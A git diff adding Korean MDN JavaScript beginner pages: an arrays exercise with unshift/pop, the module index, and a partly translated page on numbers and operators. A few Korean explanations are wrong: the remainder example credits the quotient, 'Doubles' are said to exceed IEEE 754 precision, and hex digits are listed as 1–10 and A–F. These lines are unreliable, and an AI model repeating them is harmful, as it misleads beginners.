+<p>A good use for array methods like {{jsxref("Array.prototype.push()","push()")}} and {{jsxref("Array.prototype.pop()","pop()")}} is when you are maintaining a record of currently active items in a web app. In an animated scene for example, you might have an array of objects representing the background graphics currently displayed, and you might only want 50 displayed at once, for performance or clutter reasons. As new objects are created and added to the array, older ones can be deleted from the array to maintain the desired number.</p>
+
+<p>In this example we're going to show a much simpler use — here we're giving you a fake search site, with a search box. The idea is that when terms are entered in the search box, the top 5 previous search terms are displayed in the list. When the number of terms goes over 5, the last term starts being deleted each time a new term is added to the top, so the 5 previous terms are always displayed.</p>
+
+<div class="note">
+<p><strong>Note</strong>: In a real search app, you'd probably be able to click the previous search terms to return to previous searches, and it would display actual search results! We are just keeping it simple for now.</p>
+</div>
+
+<p>To complete the app, we need you to:</p>
+
+<ol>
+ <li>Add a line below the <code>// number 1</code> comment that adds the current value entered into the search input to the start of the array. This can be retrieved using <code>searchInput.value</code>.</li>
+ <li>Add a line below the <code>// number 2</code> comment that removes the value currently at the end of the array.</li>
+</ol>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="min-height: 150px;"&gt;
+
+&lt;input type="text"&gt;&lt;button&gt;Search&lt;/button&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+
+&lt;textarea id="code" class="playable-code" style="height: 370px; width: 95%"&gt;
+var list = document.querySelector('.output ul');
+var searchInput = document.querySelector('.output input');
+var searchBtn = document.querySelector('.output button');
+
+list.innerHTML = '';
+
+var myHistory = [];
+
+searchBtn.onclick = function() {
+  // we will only allow a term to be entered if the search input isn't empty
+  if (searchInput.value !== '') {
+    // number 1
+
+    // empty the list so that we don't display duplicate entries
+    // the display is regenerated every time a search term is entered.
+    list.innerHTML = '';
+
+    // loop through the array, and display all the search terms in the list
+    for (var i = 0; i &lt; myHistory.length; i++) {
+      itemText = myHistory[i];
+      var listItem = document.createElement('li');
+      listItem.textContent = itemText;
+      list.appendChild(listItem);
+    }
+
+    // If the array length is 5 or more, remove the oldest search term
+    if (myHistory.length &gt;= 5) {
+      // number 2
+
+    }
+
+    // empty the search input and focus it, ready for the next term to be entered
+    searchInput.value = '';
+    searchInput.focus();
+  }
+}
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar searchInput = document.querySelector(\'.output input\');\nvar searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(var i = 0; i &lt; myHistory.length; i++) {\n itemText = myHistory[i];\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length &gt;= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', '100%', 700, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="결론">결론</h2>
+
+<p>위에 글 읽어보니, 배열이 꽤 유용해 보인다는거 알꺼임; JavaScript에서 배열은 겁나 많이 쓰인다. 배열의 모든 항목 마다 똑같은 작업을 수행하려고 루프(loop)를 돌리니까 같이 알아놓으면 개꿀. 다음 모듈(챕터)에서 루프(loop)에 관한 기초부터 알려줄꺼니까 쫄지 말고 달려. 갈 길이 멀다. 이 모듈은 이제 다 봤어!</p>
+
+<p>이제 여기서 남은건 이 모듈의 평가뿐이야. 앞에 보여준 글(articles)을 얼마나 이해 했는지 테스트 할꺼임.</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Indexed collections</a> — an advanced level guide to arrays and their cousins, typed arrays.</li>
+ <li>{{jsxref("Array")}} — the <code>Array</code> object reference page — for a detailed reference guide to the features discussed in this page, and many more.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="이번_모듈에서_배울것들">이번 모듈에서 배울것들</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript를 시작해보자</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">뭐가 잘못 되었지? Troubleshooting JavaScript(잘못된 걸 고쳐보자)</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">원하는 정보를 저장하기 — 변</a>수</li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">JavaScript의 수학 기초 — 숫자와 연산자</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">문자 다루기 — JavaScript에서의 문자</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">유용한 문자 메소드</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">배열</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">평가: 짧은 글 랜덤 생성기</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/first_steps/index.html b/files/ko/learn/javascript/first_steps/index.html
new file mode 100644
index 0000000000..42f6e67418
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/index.html
@@ -0,0 +1,60 @@
+---
+title: JavaScript 첫걸음
+slug: Learn/JavaScript/First_steps
+tags:
+  - Article
+  - Beginner
+  - CodingScripting
+  - Guide
+  - JavaScript
+  - Landing
+  - 'l10n:priority'
+translation_of: Learn/JavaScript/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">첫 과정에서는 "JavaScript가 뭔가요?", "어떻게 생겼나요?", "뭘 할 수 있나요?"와 같은 근본적인 질문을 먼저 해결한 뒤에 JavaScript를 직접 사용해봅니다. 그 다음으로는 변수, 문자열, 숫자, 배열 등 중요한 구성 성분을 하나씩 자세히 알아봅니다.</p>
+
+<h2 id="준비_과정">준비 과정</h2>
+
+<p>이번 과정을 시작하기 전에 JavaScript에 대해 몰라도 되지만, HTML, CSS와는 어느 정도 친숙해야 합니다. 우선 다음 과정부터 진행하시는게 좋습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Learn/Getting_started_with_the_web">Web으로 시작하기</a> (아주 기본적인 <a href="/ko/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 소개</a>도 포함)</li>
+ <li><a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a></li>
+</ul>
+
+<div class="note">
+<p><strong>참고</strong>: 파일을 만들 수 없는 컴퓨터나 태블릿, 기타 장치에서 작업을 하신다면 예제 코드의 대부분을 <a href="https://jsbin.com">JSBin</a>이나 <a href="https://thimble.mozilla.org/">Thimble</a> 같은 온라인 코딩 프로그램에서도 시험할 수 있습니다.</p>
+</div>
+
+<h2 id="구성">구성</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript가 뭔가요?</a></dt>
+ <dd>MDN의 JavaScript 초급자 과정에 오신 걸 환영합니다! 첫 글은 JavaScript를 넓게 보면서 "뭔가요?", "뭘 하나요?"와 같은 질문을 답변하고, 여러분이 JavaScript에 친숙해지도록 도와드립니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript에 발 담그기</a></dt>
+ <dd>JavaScript에 관한 이론과 용도를 약간 배우셨으니, 실용적인 따라해보기와 함께 하는 기초과정 단기 특강을 제공해드리겠습니다. 여기서는 간단한 "숫자 알아맞히기" 게임을 단계별로 차근차근 만들어봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/What_went_wrong">어떤게 잘못됐나요? JavaScript 문제해결</a></dt>
+ <dd>이전 글에서 "숫자 알아맞히기" 게임을 만든 뒤에, 프로그램이 돌아가지 않는다는 것을 발견하실 겁니다. 두려워하지 마세요. 세 번째 글에서 JavaScript 프로그램의 오류를 찾고 고치는 팁을 배울 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/Variables">필요한 정보 저장하기 — 변수</a></dt>
+ <dd>앞선 글을 모두 읽으셨으면 이제 JavaScript가 뭔지, 뭘 할 수 있는지, 다른 웹 기술과 함께 어떻게 사용하는지, 주요 기능이 어떻게 생겼는지 등 넓은 윤곽을 그리실 수 있을겁니다. 이제 진짜 기초로 돌아가, JavaScript의 제일 기본적인 구성 요소를 어떻게 사용하는지 알아보겠습니다. 바로 변수입니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/Math">JavaScript의 기본 수학 — 숫자와 연산자</a></dt>
+ <dd>여기서는 JavaScript에서의 수학을 이야기하면서, 연산자와 다른 기능을 이리 저리 조합하여 숫자를 여러분의 뜻에 맞게 바꾸는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/Strings">텍스트 다루기 — 문자열</a></dt>
+ <dd>우리의 시선을 이제 문자열로 돌릴 차례입니다. 프로그래밍에서 텍스트를 일컫는 단어죠. 이번 글에서는 JavaScript를 배울 때 문자열에 대해 알아둬야 하는 것, 예를 들어 문자열 생성, 문자열 안의 따옴표 처리, 문자열 합치기 등을 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/Useful_string_methods">유용한 문자열 메서드</a></dt>
+ <dd>문자열의 기초를 탐구했으니, 한 단계 더 나아가 문자열의 길이 찾기, 문자열 합치고 나누기, 문자를 다른 문자로 치환하기 등 내장 메서드로 할 수 있는 유용한 작업에 대해 생각해봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/Arrays">배열</a></dt>
+ <dd>본 과정의 마지막 글에서는 배열에 대해 알아봅니다. 배열은 하나의 변수 이름 아래에 여러 데이터 목록을 저장하는 깔끔한 방법입니다. 배열이 왜 유용한지, 배열을 어떻게 생성하는지, 저장한 데이터를 회수하고, 추가하고, 제거하는 법 등을 배웁니다.</dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<p>다음 평가를 통해 JavaScript의 기초를 얼마나 이해했는지 시험할 수 있습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps/Silly_story_generator">바보같은 이야기 생성기</a></dt>
+ <dd>각자 배운 내용을 돌이켜보면서, 바보같은 이야기를 무작위로 만들어내는 앱을 제작해야 합니다. 행운을 빌어요!</dd>
+</dl>
diff --git a/files/ko/learn/javascript/first_steps/math/index.html b/files/ko/learn/javascript/first_steps/math/index.html
new file mode 100644
index 0000000000..b240481e50
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/math/index.html
@@ -0,0 +1,422 @@
+---
+title: 자바스크립트의 기본적인 연산 - 숫자와 연산자
+slug: Learn/JavaScript/First_steps/Math
+tags:
+  - 연산자
+  - 자바스크립트
+  - 진수
+translation_of: Learn/JavaScript/First_steps/Math
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">이 장은 자바스크립트의 연산에 대해 다룹니다. 능숙하게 숫자를 다루기 위해 어떻게 {{Glossary("Operator","operators")}} 와 그 외 기능을 사용하는지 알아봅니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">필요조건:</th>
+   <td>기본적인 커퓨터 지식, HTML과 CSS에 대한 기본적인 이해, JavaScript의 이해</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>자바스크립트 연산에 익숙해지기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="모두가_수학을_좋아합니다">모두가 수학을 좋아합니다</h2>
+
+<p>좋아요, 아닐수도 있습니다. 일부는 좋아하겠죠. 몇몇 사람들은 구구단을 배울 때부터 싫어했을 겁니다. 그리고 몇몇은 이 사이 어딘가 있겠죠. 그러나 누구도 수학이 삶을 살아가는데 필수적 요소라는건 부정할 수 없을겁니다. 우리가 자바스크립트(혹은 다른 프로그래밍 언어)를 배울때 특히 그렇습니다.  우리가 하는 일의 상당 부분은 수치형 데이터를 처리하고, 값을 계산하거나 하는 일에 의지합니다. </p>
+
+<p>이 장은 당장 알아야 하는 부분만 다룹니다.</p>
+
+<h3 id="숫자의_종류">숫자의 종류</h3>
+
+<p>프로그래밍에서, 우리가 잘 알고있는 십진법 체계라도 당신이 생각한 것보다 복잡합니다.</p>
+
+<ul>
+ <li><strong>정수(Integers)</strong>는 10, 400, 혹은 -5 같은 모든 숫자입니다.</li>
+ <li><strong>실수(Floats)</strong>는 12.5, 6.7786543과 같이 소수점과 소수 자릿수가 있습니다.</li>
+ <li><strong>실수(Doubles)</strong>는 IEEE 754 표준 부동소수점보다 더 정확한 정밀도를 가지고 있는 특별한 데이터 타입입니다. (<strong>Doubles</strong>은<strong> Floats</strong> 보다 더 많은 소수 자릿수를 표현할 수 있어서 소수점 표현에는 <strong>Doubles</strong>가 더 정확합니다.).</li>
+</ul>
+
+<p>자바스크립트는 심지어 다른 숫자 타입을 지원합니다. 10진수는 10을 기준으로 합니다. (숫자 0~9을 쓴다는 뜻입니다.), 하지만 자바스크립트는 아래와 같은 데이터 타입을 지원합니다.</p>
+
+<ul>
+ <li><strong>2진수(Binary)</strong> — 10진수를 0과 1를 이용해 나타내는 데이터 타입입니다.</li>
+ <li><strong>8진수(Octal)</strong> —  10진수를 0부터 7까지의 수를 이용해 나타내는 데이터 타입입니다.</li>
+ <li><strong>16진수(Hexadecimal)</strong> — 10진수를 0부터 15까지의 수를 이용해 나타내는 데이터 타입입니다.(1~10, A~F) . <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Hexadecimal_values">CSS의 색상</a>을 지정할 때 쉽게 볼 수 있습니다.</li>
+</ul>
+
+<p><strong>어려워서 힘들다고 느끼기 전에, 잠시 멈추세요!</strong> 시작하기 위해서 우리는 이제부터 10진수만 사용하도록 하겠습니다. 다른 유형에 대해 생각할 필요가 없습니다.</p>
+
+<p>두 번째 좋은 소식은 다른 프로그래밍 언어와 달리, 자바스크립트는 실수와 정수 모두 {{jsxref("Number")}}라는 하나의 데이터 타입만 사용합니다. 실수와 정수 모두 같은 데이터 타입이기 때문에 하나의 방법으로 동작하게 할 수 있다는 뜻입니다.</p>
+
+<h3 id="나를_위한_숫자들">나를 위한 숫자들</h3>
+
+
+
+<p>우리가 필요한 기본 구문을 다시 익히기 위해 몇 가지 숫자를 빠르게 생각해 봅시다. <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a> 에 들어가서 아래의 나열된 명령어를 입력해주세요.</p>
+
+<ol>
+ <li>먼저, 두 개의 변수를 선언합니다. 그리고 두 개의 변수를 정수와 실수로 초기화해줍니다. 각각 변수명을 콘솔 창에 입력해주세요. 그리고 어떤 값이 나오는지 확인해주세요.
+  <pre class="brush: js notranslate">var myInt = 5;
+var myFloat = 6.667;
+myInt;
+myFloat;</pre>
+ </li>
+ <li>숫자는 따옴표(" 또는 ')가 없습니다. — 계속 하기 전에 여러 개의 변수를 선언하고 숫자를 초기화 해주세요.</li>
+ <li>우리들의 변수들의 데이터 타입을 확인합니다. 자바스크립트에서는 데이터 타입을 확인하기 위해 {{jsxref("Operators/typeof", "typeof")}} 라는 키워드를 사용합니다. 아래와 같이 입력해 주세요:
+  <pre class="brush: js notranslate">typeof myInt;
+typeof myFloat;</pre>
+  <code>"number"</code> 는 정수와 실수인 경우에 나옵니다. — 이것들은 정수와 실수가 다른 데이터 타입일 때 보다 다루기 쉽게 해줍니다.  그리고 다른 데이터 타입일 때 다른 방법으로 다뤄야만 합니다. 호우~!</li>
+</ol>
+
+<h2 id="산술_연산자">산술 연산자</h2>
+
+<p>산술연산자들의 기본적인 용도는 덧셈을 할 때 입니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operator</th>
+   <th scope="col">Name</th>
+   <th scope="col">Purpose</th>
+   <th scope="col">Example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>+</code></td>
+   <td>Addition</td>
+   <td>두 개의 숫자를 더합니다.</td>
+   <td><code>6 + 9</code></td>
+  </tr>
+  <tr>
+   <td><code>-</code></td>
+   <td>Subtraction</td>
+   <td>왼쪽에 있는 수를 오른쪽 수로 뺍니다.</td>
+   <td><code>20 - 15</code></td>
+  </tr>
+  <tr>
+   <td><code>*</code></td>
+   <td>Multiplication</td>
+   <td>두 개의 숫자를 곱합니다.</td>
+   <td><code>3 * 7</code></td>
+  </tr>
+  <tr>
+   <td><code>/</code></td>
+   <td>Division</td>
+   <td>왼쪽의 숫자를 오른쪽 숫자로 나눠서 몫을 구합니다.</td>
+   <td><code>10 / 5</code></td>
+  </tr>
+  <tr>
+   <td><code>%</code></td>
+   <td>Remainder (sometimes called modulo)</td>
+   <td>
+    <p>왼쪽의 숫자를 오른쪽 숫자로 나눠서 나머지를 구합니다.</p>
+   </td>
+   <td><code>8 % 3</code><br>
+    ( 2를 반환합니다, 8을 3으로 나눴을 때 몫이 2이기 때문입니다.)</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>팁</strong>:  연산에 관계된 수를 피연산자라고 부릅니다.<br>
+ 참고 - {{Glossary("Operand", "operands")}}.</p>
+</div>
+
+<p>아직 수학을 공부할 필요는 없습니다. 하지만 우리는 문법 확인을 해야합니다. 아래의 명령어들을 <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a> 에 입력해주세요. </p>
+
+<ol>
+ <li>아래의 명령어를 콘솔창에 입력해주세요.
+  <pre class="brush: js notranslate">10 + 7
+9 * 8
+60 % 3</pre>
+ </li>
+ <li>You can also try declaring and initializing some numbers inside variables, and try using those in the sums — the variables will behave exactly like the values they hold for the purposes of the sum. For example:
+  <pre class="brush: js notranslate">var num1 = 10;
+var num2 = 50;
+9 * num1;
+num2 / num1;</pre>
+ </li>
+ <li>Last for this section, try entering some more complex expressions, such as:
+  <pre class="brush: js notranslate">5 + 10 * 3;
+num2 % 9 * num1;
+num2 + num1 / 8 + 2;</pre>
+ </li>
+</ol>
+
+<p>Some of this last set of sums might not give you quite the result you were expecting; the below section might well give the answer as to why.</p>
+
+<h3 id="Operator_precedence">Operator precedence</h3>
+
+<p>Let's look at the last example from above, assuming that <code>num2</code> holds the value 50 and <code>num1</code> holds the value 10 (as originally stated above):</p>
+
+<pre class="brush: js notranslate">num2 + num1 / 8 + 2;</pre>
+
+<p>As a human being, you may read this as <em>"50 plus 10 equals 60"</em>, then <em>"8 plus 2 equals 10"</em>, and finally <em>"60 divided by 10 equals 6"</em>.</p>
+
+<p>But the browser does <em>"10 divided by 8 equals 1.25"</em>, then <em>"50 plus 1.25 plus 2 equals 53.25"</em>.</p>
+
+<p>This is because of <strong>operator precedence</strong> — some operators will be applied before others when calculating the result of a sum (referred to as an expression, in programming).  Operator precedence in JavaScript is the same as is taught in math classes in school — Multiply and divide are always done first, then add and subtract (the sum is always evaluated from left to right).</p>
+
+<p>If you want to override operator precedence, you can put parentheses round the parts that you want to be explicitly dealt with first. So to get a result of 6, we could do this:</p>
+
+<pre class="brush: js notranslate">(num2 + num1) / (8 + 2);</pre>
+
+<p>Try it and see.</p>
+
+<div class="note">
+<p><strong>Note</strong>: A full list of all JavaScript operators and their precedence can be found in <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operator_precedence">Expressions and operators</a>.</p>
+</div>
+
+<h2 id="Increment_and_decrement_operators">Increment and decrement operators</h2>
+
+<p>Sometimes you'll want to repeatedly add or subtract one to/from a numeric variable value. This can be conveniently done using the increment (<code>++</code>) and decrement(<code>--</code>) operators. We used <code>++</code> in our  "Guess the number" game back in our <a href="/en-US/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash">first splash into JavaScript</a> article, when we added 1 to our <code>guessCount</code> variable to keep track of how many guesses the user has left after each turn.</p>
+
+<pre class="brush: js notranslate">guessCount++;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: They are most commonly used in <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">loops</a>, which you'll learn about later on in the course. For example, say you wanted to loop through a list of prices, and add sales tax to each one. You'd use a loop to go through each value in turn and do the necessary calculation for adding the sales tax in each case. The incrementor is used to move to the next value when needed. We've actually provided a simple example showing how this is done — check it out live, and look at the source code to see if you can spot the incrementors! We'll look at loops in detail later on in the course.</p>
+</div>
+
+<p>Let's try playing with these in your console. For a start, note that you can't apply these directly to a number, which might seem strange, but we are assigning a variable a new updated value, not operating on the value itself. The following will return an error:</p>
+
+<pre class="brush: js notranslate">3++;</pre>
+
+<p>So, you can only increment an existing variable. Try this:</p>
+
+<pre class="brush: js notranslate">var num1 = 4;
+num1++;</pre>
+
+<p>Okay, strangeness number 2! When you do this, you'll see a value of 4 returned — this is because the browser returns the current value, <em>then</em> increments the variable. You can see that it's been incremented if you return the variable value again:</p>
+
+<pre class="brush: js notranslate">num1;</pre>
+
+<p>The same is true of <code>--</code> : try the following</p>
+
+<pre class="brush: js notranslate">var num2 = 6;
+num2--;
+num2;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can make the browser do it the other way round — increment/decrement the variable <em>then</em> return the value — by putting the operator at the start of the variable instead of the end. Try the above examples again, but this time use <code>++num1</code> and <code>--num2</code>.</p>
+</div>
+
+<h2 id="Assignment_operators">Assignment operators</h2>
+
+<p>Assignment operators are operators that assign a value to a variable. We have already used the most basic one, <code>=</code>, loads of times — it simply assigns the variable on the left the value stated on the right:</p>
+
+<pre class="brush: js notranslate">var x = 3; // x contains the value 3
+var y = 4; // y contains the value 4
+x = y; // x now contains the same value y contains, 4</pre>
+
+<p>But there are some more complex types, which provide useful shortcuts to keep your code neater and more efficient. The most common are listed below:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operator</th>
+   <th scope="col">Name</th>
+   <th scope="col">Purpose</th>
+   <th scope="col">Example</th>
+   <th scope="col">Shortcut for</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>+=</code></td>
+   <td>Addition assignment</td>
+   <td>Adds the value on the right to the variable value on the left, then returns the new variable value</td>
+   <td><code>x = 3;<br>
+    x += 4;</code></td>
+   <td><code>x = 3;<br>
+    x = x + 4;</code></td>
+  </tr>
+  <tr>
+   <td><code>-=</code></td>
+   <td>Subtraction assignment</td>
+   <td>Subtracts the value on the right from the variable value on the left, and returns the new variable value</td>
+   <td><code>x = 6;<br>
+    x -= 3;</code></td>
+   <td><code>x = 6;<br>
+    x = x - 3;</code></td>
+  </tr>
+  <tr>
+   <td><code>*=</code></td>
+   <td>Multiplication assignment</td>
+   <td>Multiples the variable value on the left by the value on the right, and returns the new variable value</td>
+   <td><code>x = 2;<br>
+    x *= 3;</code></td>
+   <td><code>x = 2;<br>
+    x = x * 3;</code></td>
+  </tr>
+  <tr>
+   <td><code>/=</code></td>
+   <td>Division assignment</td>
+   <td>Divides the variable value on the left by the value on the right, and returns the new variable value</td>
+   <td><code>x = 10;<br>
+    x /= 5;</code></td>
+   <td><code>x = 10;<br>
+    x = x / 5;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Try typing some of the above examples into your console, to get an idea of how they work. In each case, see if you can guess what the value is before you type in the second line.</p>
+
+<p>Note that you can quite happily use other variables on the right hand side of each expression, for example:</p>
+
+<pre class="brush: js notranslate">var x = 3; // x contains the value 3
+var y = 4; // y contains the value 4
+x *= y; // x now contains the value 12</pre>
+
+<div class="note">
+<p><strong>Note</strong>: There are lots of <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">other assignment operators available</a>, but these are the basic ones you should learn now.</p>
+</div>
+
+<h2 id="Active_learning_sizing_a_canvas_box">Active learning: sizing a canvas box</h2>
+
+<p>In this exercise, you will manipulate some numbers and operators to change the size of a box. The box is drawn using a browser API called the {{domxref("Canvas API", "", "", "true")}}. There is no need to worry about how this works — just concentrate on the math for now. The width and height of the box (in pixels) are defined by the variables <code>x</code> and <code>y</code>, which are initially both given a value of 50.</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html", '100%', 520)}}</p>
+
+<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html">Open in new window</a></strong></p>
+
+<p>In the editable code box above, there are two lines marked with a comment that we'd like you to update to make the box grow/shrink to certain sizes, using certain operators and/or values in each case. Let's try the following:</p>
+
+<ul>
+ <li>Change the line that calculates x so the box is still 50px wide, but the 50 is calculated using the numbers 43 and 7 and an arithmetic operator.</li>
+ <li>Change the line that calculates y so the box is 75px high, but the 75 is calculated using the numbers 25 and 3 and an arithmetic operator.</li>
+ <li>Change the line that calculates x so the box is 250px wide, but the 250 is calculated using two numbers and the remainder (modulo) operator.</li>
+ <li>Change the line that calculates y so the box is 150px high, but the 150 is calculated using three numbers and the subtraction and division operators.</li>
+ <li>Change the line that calculates x so the box is 200px wide, but the 200 is calculated using the number 4 and an assignment operator.</li>
+ <li>Change the line that calculates y so the box is 200px high, but the 200 is calculated using the numbers 50 and 3, the multiplication operator, and the addition assignment operator.</li>
+</ul>
+
+<p>Don't worry if you totally mess the code up. You can always press the Reset button to get things working again. After you've answered all the above questions correctly, feel free to play with the code some more or create your own challenges.</p>
+
+<h2 id="Comparison_operators">Comparison operators</h2>
+
+<p>Sometimes we will want to run true/false tests, then act accordingly depending on the result of that test — to do this we use <strong>comparison operators</strong>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operator</th>
+   <th scope="col">Name</th>
+   <th scope="col">Purpose</th>
+   <th scope="col">Example</th>
+  </tr>
+  <tr>
+   <td><code>===</code></td>
+   <td>Strict equality</td>
+   <td>Tests whether the left and right values are identical to one another</td>
+   <td><code>5 === 2 + 4</code></td>
+  </tr>
+  <tr>
+   <td><code>!==</code></td>
+   <td>Strict-non-equality</td>
+   <td>Tests whether the left and right values <strong>not</strong> identical to one another</td>
+   <td><code>5 !== 2 + 3</code></td>
+  </tr>
+  <tr>
+   <td><code>&lt;</code></td>
+   <td>Less than</td>
+   <td>Tests whether the left value is smaller than the right one.</td>
+   <td><code>10 &lt; 6</code></td>
+  </tr>
+  <tr>
+   <td><code>&gt;</code></td>
+   <td>Greater than</td>
+   <td>Tests whether the left value is greater than the right one.</td>
+   <td><code>10 &gt; 20</code></td>
+  </tr>
+  <tr>
+   <td>&lt;=</td>
+   <td>Less than or equal to</td>
+   <td>Tests whether the left value is smaller than or equal to the right one.</td>
+   <td><code>3 &lt;= 2</code></td>
+  </tr>
+  <tr>
+   <td>&gt;=</td>
+   <td>Greater than or equal to</td>
+   <td>Tests whether the left value is greater than or equal to the right one.</td>
